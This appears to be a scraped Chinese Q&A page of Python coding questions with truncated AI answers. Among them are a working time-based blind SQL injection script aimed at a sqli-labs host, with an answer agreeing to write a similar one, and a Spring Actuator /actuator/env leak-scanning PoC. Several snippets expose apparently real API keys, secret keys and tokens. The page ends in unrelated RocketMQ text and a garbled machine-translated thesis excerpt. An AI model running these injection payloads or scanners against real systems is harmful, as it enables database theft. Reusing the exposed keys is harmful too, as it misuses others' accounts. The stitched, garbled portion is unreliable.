以下这段代码可以用 python 2.7 实现吗？def request_def(url, payload): params = {} s = requests.session() # token方式： 第二个参数必须为空 s.auth = ('xxxxxxx', '') # 这里的xxxxx替换为你的 sonarqube token r=s.post(url, data=payload, verify=False, timeout=10, params=params) return r

时间: 2024-04-23 09:23:29 浏览: 155
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python爬虫实现POST request payload形式的请求

可以用 Python 2.7 实现。但是需要先安装 requests 库，否则会出现 NameError。同时，需要注意 Python 2.7 和 Python 3.x 的一些不同点，比如在 Python 2.7 中，print 是一个语句而不是函数，需要使用类似 `print "Hello, world!"` 的语法。此外，Python 2.7 中的字符串默认是 ASCII 编码，如果要使用 Unicode 字符串需要进行转换。另外，Python 2.7 中的 urllib2 库可以代替 requests 库实现相同的功能。
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以下这段代码请用 python 2.7 实现，def request_def(url, payload): params = {} s = requests.session() # token方式： 第二个参数必须为空 s.auth = ('xxxxxxx', '') # 这里的xxxxx替换为你的 sonarqube token r=s.post(url, data=payload, verify=False, timeout=10, params=params) return r

以下是 Python 2.7 版本的实现，需要先安装 requests 库： import requests def request_def(url, payload): params = {} s = requests.session() # token方式： 第二个参数必须为空 s.auth = ('xxxxxxx',...

这段代码可以使用 urllib2 实现吗？import requests def request_def(url, payload): params = {} s = requests.session() # token方式： 第二个参数必须为空 s.auth = ('xxxxxxx', '') # 这里的xxxxx替换为你的 sonarqube token r = s.post(url, data=payload, verify=False, timeout=10, params=params) return r

可以使用 urllib2 实现，以下是对应的代码： python import urllib2 def request_def(url, payload): headers = {'Authorization': 'Basic xxxxxxx'} # 这里的xxxxx替换为你的 sonarqube token req = urllib2...

请问这个方法最后return的是什么 def request_def(url, payload): params = {} s = requests.session() # token方式： 第二个参数必须为空 s.auth = ('43d38e7b974761fdec7065a8a6069fd08eb9967d', '') # 这里的xxxxx替换为你的 sonarqube token r = s.post(url, data=payload, verify=False, timeout=10, params=params) return r

这个方法 request_def(url, payload) 中，使用 requests 库发送了一个 HTTP POST 请求到 url，请求的数据是 payload，同时还设置了一些其他参数，例如请求头、身份验证、超时时间等。最后，return r 返回...

def request_def(url, payload): params = {} s = requests.session() # token方式： 第二个参数必须为空 s.auth = ('43d38e7b974761fdec7065a8a6069fd08eb9967d', '') # 这里的xxxxx替换为你的 sonarqube token r = s.post(url, data=payload, verify=False, timeout=10, params=params) return r这个方法最后返回的r 怎么样才可以解析

request_def 方法返回的 r 是一个 Response 对象，包含了 HTTP 请求的响应结果，包括响应的状态码、响应头、响应正文等。要解析这个响应，取决于响应的内容类型以及我们想要获取的信息。 如果响应的内容类型...

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

好的，以下是一个简单的时间盲注脚本示例： python import requests import time class TimeBasedSQLi: ...注意，这只是一个基本的脚本示例，具体的使用方法和payload需要根据实际情况进行调整。

def verify(url): payload = '/actuator/env' res = requests.get(url+payload)

这段代码的作用是向指定的URL发送一个GET请求，请求的路径是"/actuator/env"，并将返回的结果保存在变量res中。但是，由于你在调用该函数时出现了连接错误，导致请求失败。建议你检查一下URL地址是否正确，以及网络...

def infer_stream(): import json import requests import sseclient payload = {"session": [], "query": "什么是云计算？", "soft_min_length": 16} session = requests.Session() url = f'http://121.46.232.162:19000/infer_stream' headers = {'Content-Type': 'application/json'} event_source = sseclient.SSEClient(url, json=payload, headers=headers, session=session) for event in event_source: if event.event not in {'finished', 'new_message'}: continue data = json.loads(event.data) print(data) if data["finished"]: break if __name__ == '__main__': infer_stream()

它使用了Python的requests库和sseclient库来处理服务器发送事件（Server-Sent Events）。在这个示例中，它发送了一个包含会话、查询和最小回复长度的JSON请求，并通过循环迭代服务器发送的事件，将返回的数据打印...

def on_submit(self): prompt = self.prompt_edit.toPlainText() question = self.question_edit.toPlainText() api_url = "https://api.devbit.cn/ai/api/ai/chat" api_key = "ZXlKMGVYQWlPaUpLVjFRaUxDSmhiR2NpT2lKSVV6STFOaUo5LmV5SjBkQ0k2TkN3aVlYVmtJam9pTlRNeE5XTmpZekV3TlRnME5HSTNNVGcyWmpoa09XRTVOVFppTnpGbU5HWWlMQ0pzZFNJNkltZGhiMmhoYjNkbGJpSXNJbVY0Y0NJNk1UWTROVFUwT0RjNU9Td2lkWElpT2pJc0ltcDBhU0k2SWtGUVNWOVVUMHRGVGw4MU16RTFZMk5qTVRBMU9EUTBZamN4T0RabU9HUTVZVGsxTm1JM01XWTBaaTAwSW4wLjM0WWhudzVpblNRVTZROWpkZ0RxRHlCQk1GM2xmN01HYTZBcXZJMV9ydjA=" headers = { "Authorization": "Bearer "+api_key, "Accept": "application/json" } payload = { "prompt": prompt, "question": question, "cid": self.cid, "stream": False } response = requests.post(api_url, json=payload, headers=headers) if response.status_code == 200: print(response.json()) json_response = response.json() self.cid = str(json_response['data']['cid']) self.json_response_edit.setText(str(json_response['data']['answer'])) else: print("Request failed with error code {reaponse.status_code}") self.json_response_edit.setText(f"请求失败，错误码 {response.status_code}")这是我的代码如何通过图形界面开关控制cid是否回传呢？

你可以在图形界面中添加一个复选框（QCheckBox），让用户选择是否需要回传cid。然后在on_submit函数中，根据复选框的状态设置payload中的stream参数，如果复选框被选中，则stream为False，否则为True。具体代码实现...

#""" #文件包含 poc #http://127.0.0.1/1/file=XXXX #""" import requests def verify(url): payload = '/actuator/env' try: res = requests.get(url+payload, timeout=5) return res except requests.exceptions.Timeout: print(url+" 请求超时！") return None if 'activeProfiles' in res.text: print(url+'存在信息泄露漏洞') else: print(url+'不存在') if __name__ == '__main__': with open('poc.txt','r') as f: for line2 in f: verify(url=line2)

这段代码有一些语法错误，需要进行修改。下面是修改后的代码： import requests def verify(url): payload = '/actuator/env' try: res = requests.get(url+payload, timeout=5) if 'activeProfiles' in ...

import unittest import requests Host = 'https://testlhy.eparklife.com' class LoginTest(unittest.TestCase): token = '' def setUp(self): login_url = f'{Host}/api/v1/admin/login?name=lsl&pwd=e7KikcBwG0FSVVIyEL%2FZvLzdaRxFiMPESanpeeMe3Llaweg8of9voFK4lt5jw7vwLOCJSn9M7em3PjmoEORPXvC36ftxjB%2BZ2djptRCCtk%2F%2FRGuNdMxgVW%2BhSduvI%2FXuPibMos4ohJnJUVeKc3ToXXAbh%2FDXvXRDKETOGSMlHLo%3D' headers = { 'Content-Type': 'application/json' } payload = { "name": "lsl", "pwd": "e7KikcBwG0FSVVIyEL/ZvLzdaRxFiMPESanpeeMe3Llaweg8of9voFK4lt5jw7vwLOCJSn9M7em3PjmoEORPXvC36ftxjB+Z2djptRCCtk//RGuNdMxgVW+hSduvI/XuPibMos4ohJnJUVeKc3ToXXAbh/DXvXRDKETOGSMlHLo=" } response = requests.post(url=login_url, json=payload, headers=headers) response_text = response.json() print(response_text) LoginTest.token = response_text['result']['token'] print(LoginTest.token) def test_update_success(self): update_url = f'{Host}/api/v1/admin/changePwd' headers = { 'Content-Type': 'application/json', 'token': LoginTest.token } payload = { "oldPwd": 'a123456', "newPwd": "123456" } response = requests.post(url=update_url, json=payload, headers=headers) print(response.json()) if __name__ == '__main__': unittest.main() 修复 def test_update_success(self)执行后，显示token不存在问题，并给出解决后的代码

问题是：修复 test_update_success 执行后显示 token 不存在的问题，并给出解决后的代码。 解决方案如下： python import unittest import requests Host = 'https://testlhy.eparklife.com' class ...

为这段代码注释from PIL import Image import hashlib import requests import json import certifi import os image_url = "xxxxxxxx" response = requests.get(image_url) if response.status_code == 200: image_path = 'original_image.jpg' with open(image_path, 'wb') as f: f.write(response.content) owner_info = "XXXXXXX" else: raise Exception("Unable to download image") blockchain_api_url = "XXXXXXXXXXXXXXXXXXX" payload = {"text": owner_info} response = requests.post(blockchain_api_url, data=json.dumps(payload)) if response.status_code == 200: encrypted_data = response.json()["data"] else: raise Exception("Unable to encrypt data using blockchain API") response = requests.get(blockchain_api_url + f"/{encrypted_data}") if response.status_code == 200: decrypted_data = response.json()["text"] else: raise Exception("Unable to decrypt data using blockchain API") def encrypt_image(image_path, key): img = Image.open(image_path).convert('RGB') pixels = img.load() width, height = img.size key = hashlib.sha256(key.encode()).digest() key_parts = [key[i:i+3] for i in range(0, len(key), 3)] for x in range(width): for y in range(height): r, g, b = pixels[x, y] r = r ^ key_parts[x % len(key_parts)][0] g = g ^ key_parts[y % len(key_parts)][1] b = b ^ key_parts[(x+y) % len(key_parts)][2] pixels[x, y] = (r, g, b) img.save(image_path.replace('.jpg', '_encrypted.jpg')) os.environ['REQUESTS_CA_BUNDLE'] = certifi.where() encrypt_image(image_path, decrypted_data)

这段代码主要是通过调用requests库下载一张图片，然后使用PIL库对图片进行加密，最后将加密后的图片保存在本地。同时，还使用了一个区块链API对一个文本信息进行加密和解密。 具体注释如下： from PIL import ...

#!/usr/local/bin/python3 # -- coding: utf-8 -- # @Time : 2023/6/11 14:19 # @Author : 志在星空 # @File : jietu12.py # @Software: PyCharm import base64 import urllib import requests import json API_KEY = "jHxdMDf2bhEPxcG6zFoRUejo" SECRET_KEY = "QF5GO9eLQncG2Zr1MKrxLOWvKAkAtVfI" def main(): # 发送 OCR 请求并获取响应 url = "https://aip.baidubce.com/rest/2.0/ocr/v1/general?access_token=" + get_access_token() # payload = 'image=%2F9j%2F4AAQ' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'application/json' } image_path = "11.jpg" with open(image_path, "rb") as image_file: image_data = image_file.read() response = requests.post(url, headers=headers, data=image_data) # response = requests.request("POST", url, headers=headers, data=payload) # 解析响应并提取 words_result 中的所有 words 字段 result = json.loads(response.text) print(result) # words_list = [item['words'] for item in result['words_result']] # print(words_list) # # # 打印所有提取到的内容 # for words in words_list: # print(words) def get_file_content_as_base64(path, urlencoded=False): """ 获取文件base64编码 :param path: 文件路径 :param urlencoded: 是否对结果进行urlencoded :return: base64编码信息 """ with open(path, "rb") as f: content = base64.b64encode(f.read()).decode("utf8") if urlencoded: content = urllib.parse.quote_plus(content) return content def get_access_token(): """ 使用 AK，SK 生成鉴权签名（Access Token） :return: access_token，或是None(如果错误) """ url = "https://aip.baidubce.com/oauth/2.0/token" params = {"grant_type": "client_credentials", "client_id": API_KEY, "client_secret": SECRET_KEY} return str(requests.post(url, params=params).json().get("access_token")) if name == 'main': main()运行出现{'log_id': 1667825949995168966, 'error_msg': 'param image not exist', 'error_code': 216101}，请修改一下

可以使用 Python 的 requests 库自动构建这种格式的请求体。修改后的代码如下： import requests import json API_KEY = "jHxdMDf2bhEPxcG6zFoRUejo" SECRET_KEY = "QF5GO9eLQncG2Zr1MKrxLOWvKAkAtVfI" def ...

import requests def verify(url): payload = '/actuator/env' try: res = requests.get(url+payload, timeout=5) if 'activeProfiles' in res.text: print(url+' 存在信息泄露漏洞') else: print(url+' 不存在') except requests.exceptions.Timeout: print(url+" 请求超时！") except requests.exceptions.ConnectionError: print(url+" 连接错误！") if __name__ == '__main__': with open('poc.txt','r') as f: for line2 in f: verify(url=line2.strip())

这段代码是一个简单的 Python 脚本，用于检测 Web 应用程序是否存在信息泄露漏洞。脚本中使用 requests 库发送 HTTP GET 请求，获取指定 URL 的 /actuator/env 页面内容，并检查返回的 HTML 页面中是否包含 ...

import requests def verify(url): payload = '/actuator/env' #print(res.text) try: res = requests.get(url+payload, timeout=5) return res except requests.exceptions.Timeout: print(res+" 请求超时！") return None if 'activeProfiles' in res.text: print(url+'存在信息泄露漏洞') else: print(url+'不存在') if __name__ == '__main__': with open('poc.txt','r') as f: for line2 in f: verify(url=line2)

这是一个Python脚本，主要是用于检测一个URL是否存在信息泄露漏洞。脚本的核心是发送一个GET请求，其中包含一个特定的URL路径（payload），然后检查响应内容中是否包含'activeProfiles'字段，如果包含，则表示存在...

这个结果输出的可以保存到csv中吗import base64 import urllib import requests import json API_KEY = "GQchk1EqMwsI51DnVLzE6Hsh" SECRET_KEY = "9M4X60ginE4QYmDLZLhw8edP1Nt91g6z" def main(image_path): url = "https://aip.baidubce.com/rest/2.0/face/v3/detect?access_token=" + get_access_token() # image 可以通过 get_file_content_as_base64("C:\fakepath\LIU.jpg",False) 方法获取 image = get_file_content_as_base64(image_path,False) payload = json.dumps({ "image": image, "image_type": "BASE64", "face_field": "emotion" }) headers = { 'Content-Type': 'application/json' } response = requests.request("POST", url, headers=headers, data=payload) print(response.text) return response.text def get_file_content_as_base64(path, urlencoded=False): """ 获取文件base64编码 :param path: 文件路径 :param urlencoded: 是否对结果进行urlencoded :return: base64编码信息 """ with open(path, "rb") as f: content = base64.b64encode(f.read()).decode("utf8") if urlencoded: content = urllib.parse.quote_plus(content) return content def get_access_token(): """ 使用 AK，SK 生成鉴权签名（Access Token） :return: access_token，或是None(如果错误) """ url = "https://aip.baidubce.com/oauth/2.0/token" params = {"grant_type": "client_credentials", "client_id": API_KEY, "client_secret": SECRET_KEY} return str(requests.post(url, params=params).json().get("access_token"))

可以使用Python内置的csv模块来完成这个操作。具体的实现方法如下： python import csv result = main("image.jpg") # 调用主函数获取结果 # 将结果转换成字典列表 result_dict = json.loads(result)["result...

修改代码使其能动态调整分辨率 def run(self): self.sock.bind(self.ADDR) self.sock.listen() print('视频服务器已经启动...') print(f'\n工作地址是：{self.ADDR}') conn,addr = self.sock.accept() print(f'\n接受了远程视频客户端{addr}的连接...') data = "".encode("utf-8") payload_size = struct.calcsize("L") cv2.namedWindow('Remote',cv2.WINDOW_AUTOSIZE) while True: cap = cv2.VideoCapture(0) # 动态调整画面分辨率 width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) if width > 800: scale_percent = 50 # 缩小画面尺寸 new_width = int(width * scale_percent / 100) new_height = int(height * scale_percent / 100) frame = cv2.resize(frame, (new_width, new_height), interpolation=cv2.INTER_AREA) while len(data)<payload_size: data+=conn.recv(81920) packed_size = data[:payload_size] data = data[payload_size:] msg_size = struct.unpack("L",packed_size)[0] while len(data) < msg_size: data += conn.recv(81920) zframe_data = data[:msg_size] data = data[msg_size:] frame_data = zlib.decompress(zframe_data) #解压数据 frame = pickle.loads(frame_data) #还原 cv2.imshow('Remote',frame) if cv2.waitKey(1) & 0xFF ==27: break

您可以将动态调整画面分辨率的代码移动到接收视频帧之前，并将其放在每次循环之前，以便可以实时调整视频分辨率。以下是修改后的示例代码： def run(self): self.sock.bind(self.ADDR) self.sock.listen() ...

补全下面代码中模型预测部分import paho.mqtt.client as mqtt import numpy as np import json import tensorflow as tf from tensorflow.python.keras.backend import set_session model = tf.keras.models.load_model('flowers.hd5') classes=["daisy","dandelion","roses","sunflowers","tulips"] def on_connect(client,userdata,flags,rc): if rc==0: print("successfully connected to broker.") client.subscribe("Group_04/IMAGE/classify") else: print("Connection failed with code: %d." %rc) def classify_flower(filename,data): print("Start classifying") model.predict(data) print("Done.") return {"filename":filename,"prediction":classes[win],"score":0.99,"index":win} def on_message(client,userdata,msg): recv_dict=json.loads(msg.payload) img_data=np.array(recv_dict["data"]) result=classify_flower(recv_dict["filename"],img_data) print("Sending results: ",result) client.publish("Group_04/IMAGE/predict",json.dumps(result)) def setup(hostname): client=mqtt.Client() client.on_connect=on_connect client.on_message=on_message client.connect(hostname) client.loop_start() return client def main(): model = tf.keras.models.load_model('flowers.hd5') client=setup("172.17.0.3") for filename in os.listdir(samples_dir): file_path=os.path.join(samples_dir,filename) classify_flower(file_path) while True: pass if __name__=='__main__': main()

补全代码中的模型预测部分如下所示： python def classify_flower(filename, data): print("Start classifying") # 预处理图像数据 processed_img = preprocess_image(data) # 将图像数据转换为模型可...

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资源摘要信息:"rocketmq-client-go:Apache RocketMQ Go客户端" Apache RocketMQ Go客户端是专为Go语言开发的RocketMQ客户端库，它几乎涵盖了Apache RocketMQ的所有核心功能，允许Go语言开发者在Go项目中便捷地实现消息的发布与订阅、访问控制列表（ACL）权限管理、消息跟踪等高级特性。该客户端库的设计旨在提供一种简单、高效的方式来与RocketMQ服务进行交互。 核心知识点如下： 1. 发布与订阅消息：RocketMQ Go客户端支持多种消息发送模式，包括同步模式、异步模式和单向发送模式。同步模式允许生产者在发送消息后等待响应，确保消息成功到达。异步模式适用于对响应时间要求不严格的场景，生产者在发送消息时不会阻塞，而是通过回调函数来处理响应。单向发送模式则是最简单的发送方式，只负责将消息发送出去而不关心是否到达，适用于对消息送达不敏感的场景。 2. 发送有条理的消息：在某些业务场景中，需要保证消息的顺序性，比如订单处理。RocketMQ Go客户端提供了按顺序发送消息的能力，确保消息按照发送顺序被消费者消费。 3. 消费消息的推送模型：消费者可以设置为使用推送模型，即消息服务器主动将消息推送给消费者，这种方式可以减少消费者轮询消息的开销，提高消息处理的实时性。 4. 消息跟踪：对于生产环境中的消息传递，了解消息的完整传递路径是非常必要的。RocketMQ Go客户端提供了消息跟踪功能，可以追踪消息从发布到最终消费的完整过程，便于问题的追踪和诊断。 5. 生产者和消费者的ACL：访问控制列表（ACL）是一种权限管理方式，RocketMQ Go客户端支持对生产者和消费者的访问权限进行细粒度控制，以满足企业对数据安全的需求。 6. 如何使用：RocketMQ Go客户端提供了详细的使用文档，新手可以通过分步说明快速上手。而有经验的开发者也可以根据文档深入了解其高级特性。 7. 社区支持：Apache RocketMQ是一个开源项目，拥有活跃的社区支持。无论是使用过程中遇到问题还是想要贡献代码，都可以通过邮件列表与社区其他成员交流。 8. 快速入门：为了帮助新用户快速开始使用RocketMQ Go客户端，官方提供了快速入门指南，其中包含如何设置rocketmq代理和名称服务器等基础知识。 在安装和配置方面，用户通常需要首先访问RocketMQ的官方网站或其在GitHub上的仓库页面，下载最新版本的rocketmq-client-go包，然后在Go项目中引入并初始化客户端。配置过程中可能需要指定RocketMQ服务器的地址和端口，以及设置相应的命名空间或主题等。 对于实际开发中的使用，RocketMQ Go客户端的API设计注重简洁性和直观性，使得Go开发者能够很容易地理解和使用，而不需要深入了解RocketMQ的内部实现细节。但是，对于有特殊需求的用户，Apache RocketMQ社区文档和代码库中提供了大量的参考信息和示例代码，可以用于解决复杂的业务场景。 由于RocketMQ的版本迭代，不同版本的RocketMQ Go客户端可能会引入新的特性和对已有功能的改进。因此，用户在使用过程中应该关注官方发布的版本更新日志，以确保能够使用到最新的特性和性能优化。对于版本2.0.0的特定特性，文档中提到的以同步模式、异步模式和单向方式发送消息，以及消息排序、消息跟踪、ACL等功能，是该版本客户端的核心优势，用户可以根据自己的业务需求进行选择和使用。 总之，rocketmq-client-go作为Apache RocketMQ的Go语言客户端，以其全面的功能支持、简洁的API设计、活跃的社区支持和详尽的文档资料，成为Go开发者在构建分布式应用和消息驱动架构时的得力工具。
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"互动学习：行动中的多样性与论文攻读经历"

多样性她- 事实上SCI NCES你的时间表ECOLEDO C Tora SC和NCESPOUR l’Ingén学习互动，互动学习以行动为中心的强化学习学会互动，互动学习，以行动为中心的强化学习计算机科学博士论文于2021年9月28日在Villeneuve d'Asq公开支持马修·瑟林评审团主席法布里斯·勒菲弗尔阿维尼翁大学教授论文指导奥利维尔·皮耶昆谷歌研究教授：智囊团论文联合主任菲利普·普雷教授，大学。里尔/CRISTAL/因里亚报告员奥利维耶·西格德索邦大学报告员卢多维奇·德诺耶教授，Facebook /索邦大学审查员越南圣迈IMT Atlantic高级讲师邀请弗洛里安·斯特鲁布博士，Deepmind对于那些及时看到自己错误的人...3谢谢你首先，我要感谢我的两位博士生导师Olivier和Philippe。奥利维尔，"站在巨人的肩膀上"这句话对你来说完全有意义了。从科学上讲，你知道在这篇论文的（许多）错误中，你是我可以依